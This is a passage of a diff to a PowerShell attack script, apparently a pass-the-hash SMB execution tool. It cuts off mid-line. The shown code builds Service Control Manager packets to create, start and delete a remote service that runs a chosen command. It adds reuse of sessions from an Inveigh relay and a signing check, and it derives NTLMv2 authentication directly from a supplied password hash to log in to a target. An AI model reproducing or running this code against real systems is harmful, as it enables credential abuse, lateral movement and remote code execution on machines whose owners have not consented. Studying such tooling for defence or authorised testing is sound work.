$packet_SCMOpenSCManagerW.Add("MachineName_ReferentID",$packet_referent_ID1) + $packet_SCMOpenSCManagerW.Add("MachineName_MaxCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("MachineName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("MachineName_ActualCount",$packet_service_length) + $packet_SCMOpenSCManagerW.Add("MachineName",$packet_service) + $packet_SCMOpenSCManagerW.Add("Database_ReferentID",$packet_referent_ID2) + $packet_SCMOpenSCManagerW.Add("Database_NameMaxCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Database_NameOffset",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Database_NameActualCount",[Byte[]](0x0f,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Database",[Byte[]](0x53,0x00,0x65,0x00,0x72,0x00,0x76,0x00,0x69,0x00,0x63,0x00,0x65,0x00,0x73,0x00,0x41,0x00,0x63,0x00,0x74,0x00,0x69,0x00,0x76,0x00,0x65,0x00,0x00,0x00)) + $packet_SCMOpenSCManagerW.Add("Unknown",[Byte[]](0xbf,0xbf)) + $packet_SCMOpenSCManagerW.Add("AccessMask",[Byte[]](0x3f,0x00,0x00,0x00)) return $packet_SCMOpenSCManagerW } -function Get-PacketSCMCreateServiceW() +function New-PacketSCMCreateServiceW { - param([Byte[]]$packet_context_handle,[Byte[]]$packet_service,[Byte[]]$packet_service_length, - [Byte[]]$packet_command,[Byte[]]$packet_command_length) + param([Byte[]]$ContextHandle,[Byte[]]$Service,[Byte[]]$ServiceLength,[Byte[]]$Command,[Byte[]]$CommandLength) - $packet_referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $packet_referent_ID = $packet_referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $packet_referent_ID += 0x00,0x00 - - $packet_SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ContextHandle",$packet_context_handle) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_MaxCount",$packet_service_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName_ActualCount",$packet_service_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceName",$packet_service) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ReferentID",$packet_referent_ID) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_MaxCount",$packet_service_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName_ActualCount",$packet_service_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DisplayName",$packet_service) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_AccessMask",[Byte[]](0xff,0x01,0x0f,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceType",[Byte[]](0x10,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_MaxCount",$packet_command_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName_ActualCount",$packet_command_length) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_BinaryPathName",$packet_command) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_TagID",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_DependSize",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00)) - $packet_SCMCreateServiceW.Add("SCMCreateServiceW_PasswordSize",[Byte[]](0x00,0x00,0x00,0x00)) - - return $packet_SCMCreateServiceW + $referent_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $referent_ID = $referent_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $referent_ID += 0x00,0x00 + + $SCMCreateServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $SCMCreateServiceW.Add("ContextHandle",$ContextHandle) + $SCMCreateServiceW.Add("ServiceName_MaxCount",$ServiceLength) + $SCMCreateServiceW.Add("ServiceName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("ServiceName_ActualCount",$ServiceLength) + $SCMCreateServiceW.Add("ServiceName",$Service) + $SCMCreateServiceW.Add("DisplayName_ReferentID",$referent_ID) + $SCMCreateServiceW.Add("DisplayName_MaxCount",$ServiceLength) + $SCMCreateServiceW.Add("DisplayName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("DisplayName_ActualCount",$ServiceLength) + $SCMCreateServiceW.Add("DisplayName",$Service) + $SCMCreateServiceW.Add("AccessMask",[Byte[]](0xff,0x01,0x0f,0x00)) + $SCMCreateServiceW.Add("ServiceType",[Byte[]](0x10,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("ServiceStartType",[Byte[]](0x03,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("ServiceErrorControl",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("BinaryPathName_MaxCount",$CommandLength) + $SCMCreateServiceW.Add("BinaryPathName_Offset",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("BinaryPathName_ActualCount",$CommandLength) + $SCMCreateServiceW.Add("BinaryPathName",$Command) + $SCMCreateServiceW.Add("NULLPointer",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("TagID",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("NULLPointer2",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("DependSize",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("NULLPointer3",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("NULLPointer4",[Byte[]](0x00,0x00,0x00,0x00)) + $SCMCreateServiceW.Add("PasswordSize",[Byte[]](0x00,0x00,0x00,0x00)) + + return $SCMCreateServiceW } -function Get-PacketSCMStartServiceW() +function New-PacketSCMStartServiceW { - param([Byte[]]$packet_context_handle) + param([Byte[]]$ContextHandle) - $packet_SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCMStartServiceW.Add("SCMStartServiceW_ContextHandle",$packet_context_handle) - $packet_SCMStartServiceW.Add("SCMStartServiceW_Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $SCMStartServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $SCMStartServiceW.Add("ContextHandle",$ContextHandle) + $SCMStartServiceW.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - return $packet_SCMStartServiceW + return $SCMStartServiceW } -function Get-PacketSCMDeleteServiceW() +function New-PacketSCMDeleteServiceW { - param([Byte[]]$packet_context_handle) + param([Byte[]]$ContextHandle) - $packet_SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCMDeleteServiceW.Add("SCMDeleteServiceW_ContextHandle",$packet_context_handle) + $SCMDeleteServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $SCMDeleteServiceW.Add("ContextHandle",$ContextHandle) - return $packet_SCMDeleteServiceW + return $SCMDeleteServiceW } -function Get-PacketSCMCloseServiceHandle() +function New-PacketSCMCloseServiceHandle { - param([Byte[]]$packet_context_handle) + param([Byte[]]$ContextHandle) - $packet_SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary - $packet_SCM_CloseServiceW.Add("SCMCloseServiceW_ContextHandle",$packet_context_handle) + $SCM_CloseServiceW = New-Object System.Collections.Specialized.OrderedDictionary + $SCM_CloseServiceW.Add("ContextHandle",$ContextHandle) - return $packet_SCM_CloseServiceW + return $SCM_CloseServiceW } -function DataLength2 +function Get-StatusPending { - param ([Int]$length_start,[Byte[]]$string_extract_data) + param ([Byte[]]$Status) - $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + if([System.BitConverter]::ToString($Status) -eq '03-01-00-00') + { + $status_pending = $true + } - return $string_length + return $status_pending +} + +function Get-UInt16DataLength +{ + param ([Int]$Start,[Byte[]]$Data) + + $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0) + + return $data_length } if($hash -like "*:*") @@ -829,313 +859,503 @@ else $output_username = $Username } +if($PSBoundParameters.ContainsKey('Session')) +{ + $inveigh_session = $true +} + +if($PSBoundParameters.ContainsKey('Session')) +{ + + if(!$Inveigh) + { + Write-Output "[-] Inveigh Relay session not found" + $startup_error = $true + } + elseif(!$inveigh.session_socket_table[$session].Connected) + { + Write-Output "[-] Inveigh Relay session not connected" + $startup_error = $true + } + + $Target = $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString +} + $process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id $process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) -$process_ID = $process_ID -replace "-00-00","" -[Byte[]]$process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} -$SMB_client = New-Object System.Net.Sockets.TCPClient -$SMB_client.Client.ReceiveTimeout = 60000 +[Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} -try +if(!$inveigh_session) { - $SMB_client.Connect($Target,"445") + $client = New-Object System.Net.Sockets.TCPClient + $client.Client.ReceiveTimeout = 60000 } -catch + +if(!$startup_error -and !$inveigh_session) { - Write-Output "$Target did not respond" + + try + { + $client.Connect($Target,"445") + } + catch + { + Write-Output "[-] $Target did not respond" + } + } -if($SMB_client.Connected) +if($client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected)) { - $SMB_client_stream = $SMB_client.GetStream() - $SMB_client_receive = New-Object System.Byte[] 1024 - $SMB_client_stage = 'NegotiateSMB' + $client_receive = New-Object System.Byte[] 1024 - while($SMB_client_stage -ne 'exit') + if(!$inveigh_session) { - - switch ($SMB_client_stage) + $client_stream = $client.GetStream() + + if($SMB_version -eq 'SMB2.1') + { + $stage = 'NegotiateSMB2' + } + else { + $stage = 'NegotiateSMB' + } - 'NegotiateSMB' - { - $packet_SMB_header = Get-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID_bytes 0x00,0x00 - $packet_SMB_data = Get-PacketSMBNegotiateProtocolRequest $SMB_version - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + while($stage -ne 'Exit') + { + + try + { - if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') + switch ($stage) { - $SMB_version = 'SMB1' - $SMB_client_stage = 'NTLMSSPNegotiate' - if([System.BitConverter]::ToString($SMB_client_receive[39]) -eq '0f') + 'NegotiateSMB' { - Write-Verbose "SMB signing is enabled" - $SMB_signing = $true - $SMB_session_key_length = 0x00,0x00 - $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 + $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00 + $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + + try + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + + if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42') + { + $SMB_version = 'SMB1' + $stage = 'NTLMSSPNegotiate' + + if([System.BitConverter]::ToString($client_receive[39]) -eq '0f') + { + + if($signing_check) + { + Write-Output "[+] SMB signing is required on $target" + $stage = 'Exit' + } + else + { + Write-Verbose "[+] SMB signing is required" + $SMB_signing = $true + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x15,0x82,0x08,0xa0 + } + + } + else + { + + if($signing_check) + { + Write-Output "[+] SMB signing is not required on $target" + $stage = 'Exit' + } + else + { + $SMB_signing = $false + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x05,0x82,0x08,0xa0 + } + + } + + } + else + { + $stage = 'NegotiateSMB2' + + if([System.BitConverter]::ToString($client_receive[70]) -eq '03') + { + + if($signing_check) + { + Write-Output "[+] SMB signing is required on $target" + $stage = 'Exit' + } + else + { + + if($signing_check) + { + Write-Verbose "[+] SMB signing is required" + } + + $SMB_signing = $true + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x15,0x82,0x08,0xa0 + } + + } + else + { + + if($signing_check) + { + Write-Output "[+] SMB signing is not required on $target" + $stage = 'Exit' + } + else + { + $SMB_signing = $false + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x05,0x80,0x08,0xa0 + } + + } + + } + + } + catch + { + + if($_.Exception.Message -like 'Exception calling "Read" with "3" argument(s): "Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host."') + { + Write-Output "[-] SMB1 negotiation failed" + $negoitiation_failed = $true + $stage = 'Exit' + } + + } + } - else + + 'NegotiateSMB2' { - $SMB_signing = $false - $SMB_session_key_length = 0x00,0x00 - $SMB_negotiate_flags = 0x05,0x82,0x08,0xa0 - } - } - else - { - $SMB_client_stage = 'NegotiateSMB2' + if($SMB_version -eq 'SMB2.1') + { + $message_ID = 0 + } + else + { + $message_ID = 1 + } + + $tree_ID = 0x00,0x00,0x00,0x00 + $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $packet_SMB2_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID + $packet_SMB2_data = New-PacketSMB2NegotiateProtocolRequest + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'NTLMSSPNegotiate' + + if([System.BitConverter]::ToString($client_receive[70]) -eq '03') + { + + if($signing_check) + { + Write-Output "[+] SMB signing is required on $target" + $stage = 'Exit' + } + else + { + + if($signing_check) + { + Write-Verbose "[+] SMB signing is required" + } + + $SMB_signing = $true + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x15,0x82,0x08,0xa0 + } + + } + else + { + + if($signing_check) + { + Write-Output "[+] SMB signing is not required on $target" + $stage = 'Exit' + } + else + { + $SMB_signing = $false + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x05,0x80,0x08,0xa0 + } + + } - if([System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03') - { - Write-Verbose "SMB signing is enabled" - $SMB_signing = $true - $SMB_session_key_length = 0x00,0x00 - $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 } - else + + 'NTLMSSPNegotiate' { - $SMB_signing = $false - $SMB_session_key_length = 0x00,0x00 - $SMB_negotiate_flags = 0x05,0x80,0x08,0xa0 - } + if($SMB_version -eq 'SMB1') + { + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00 + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + } + + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else + { + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags + $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate + $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + } + + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + $stage = 'Exit' + } + } } + catch + { + Write-Output "[-] $($_.Exception.Message)" + $negoitiation_failed = $true + } + + } + + if(!$signing_check -and !$negoitiation_failed) + { + $NTLMSSP = [System.BitConverter]::ToString($client_receive) + $NTLMSSP = $NTLMSSP -replace "-","" + $NTLMSSP_index = $NTLMSSP.IndexOf("4E544C4D53535000") + $NTLMSSP_bytes_index = $NTLMSSP_index / 2 + $domain_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 12) $client_receive + $target_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 40) $client_receive + $session_ID = $client_receive[44..51] + $NTLM_challenge = $client_receive[($NTLMSSP_bytes_index + 24)..($NTLMSSP_bytes_index + 31)] + $target_details = $client_receive[($NTLMSSP_bytes_index + 56 + $domain_length)..($NTLMSSP_bytes_index + 55 + $domain_length + $target_length)] + $target_time_bytes = $target_details[($target_details.Length - 12)..($target_details.Length - 5)] + $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" + $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + $auth_hostname = (Get-ChildItem -path env:computername).Value + $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) + $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) + $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] + $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] + $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1] + $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1] + $auth_domain_offset = 0x40,0x00,0x00,0x00 + $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) + $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) + $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) + $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) + $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 + $HMAC_MD5.key = $NTLM_hash_bytes + $username_and_target = $username.ToUpper() + $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) + $username_and_target_bytes += $auth_domain_bytes + $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) + $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) + $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + + $security_blob_bytes = 0x01,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $target_time_bytes + + $client_challenge_bytes + + 0x00,0x00,0x00,0x00 + + $target_details + + 0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00 + + $server_challenge_and_security_blob_bytes = $NTLM_challenge + $security_blob_bytes + $HMAC_MD5.key = $NTLMv2_hash + $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) + + if($SMB_signing) + { + $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) + $session_key = $session_base_key + $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 + $HMAC_SHA256.key = $session_key + } + + $NTLMv2_response = $NTLMv2_response + $security_blob_bytes + $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1] + $session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) + + $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, + 0x03,0x00,0x00,0x00, + 0x18,0x00, + 0x18,0x00 + + $auth_LM_offset + + $NTLMv2_response_length + + $NTLMv2_response_length + + $auth_NTLM_offset + + $auth_domain_length + + $auth_domain_length + + $auth_domain_offset + + $auth_username_length + + $auth_username_length + + $auth_username_offset + + $auth_hostname_length + + $auth_hostname_length + + $auth_hostname_offset + + $session_key_length + + $session_key_length + + $session_key_offset + + $negotiate_flags + + $auth_domain_bytes + + $auth_username_bytes + + $auth_hostname_bytes + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $NTLMv2_response + + if($SMB_version -eq 'SMB1') + { + $SMB_user_ID = $client_receive[32,33] + $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID + + if($SMB_signing) + { + $packet_SMB_header["Flags2"] = 0x05,0x48 + } - 'NegotiateSMB2' + $packet_SMB_header["UserID"] = $SMB_user_ID + $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate + $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + } + else { - $SMB2_tree_ID = 0x00,0x00,0x00,0x00 - $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - $SMB2_message_ID = 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_data = Get-PacketSMB2NegotiateProtocolRequest + $message_ID++ + $packet_SMB2_header = New-PacketSMB2Header 0x01,0x00 0x01,0x00 $false $message_ID $process_ID $tree_ID $session_ID + $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header + $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth + $packet_SMB2_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'NTLMSSPNegotiate' + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data } - - 'NTLMSSPNegotiate' - { + + try + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null + if($SMB_version -eq 'SMB1') { - $packet_SMB_header = Get-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID_bytes 0x00,0x00 - if($SMB_signing) + if([System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00') + { + Write-Verbose "[+] $output_username successfully authenticated on $Target" + $login_successful = $true + } + else { - $packet_SMB_header["SMBHeader_Flags2"] = 0x05,0x48 + Write-Output "[!] $output_username failed to authenticate on $Target" + $login_successful = $false } - $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate $SMB_negotiate_flags - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB_data = Get-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data } else { - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate $SMB_negotiate_flags - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + if([System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00') + { + Write-Verbose "[+] $output_username successfully authenticated on $Target" + $login_successful = $true + } + else + { + Write-Output "[!] $output_username failed to authenticate on $Target" + $login_successful = $false + } + } - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'exit' } - - } - - } - - $SMB_NTLMSSP = [System.BitConverter]::ToString($SMB_client_receive) - $SMB_NTLMSSP = $SMB_NTLMSSP -replace "-","" - $SMB_NTLMSSP_index = $SMB_NTLMSSP.IndexOf("4E544C4D53535000") - $SMB_NTLMSSP_bytes_index = $SMB_NTLMSSP_index / 2 - $SMB_domain_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 12) $SMB_client_receive - $SMB_target_length = DataLength2 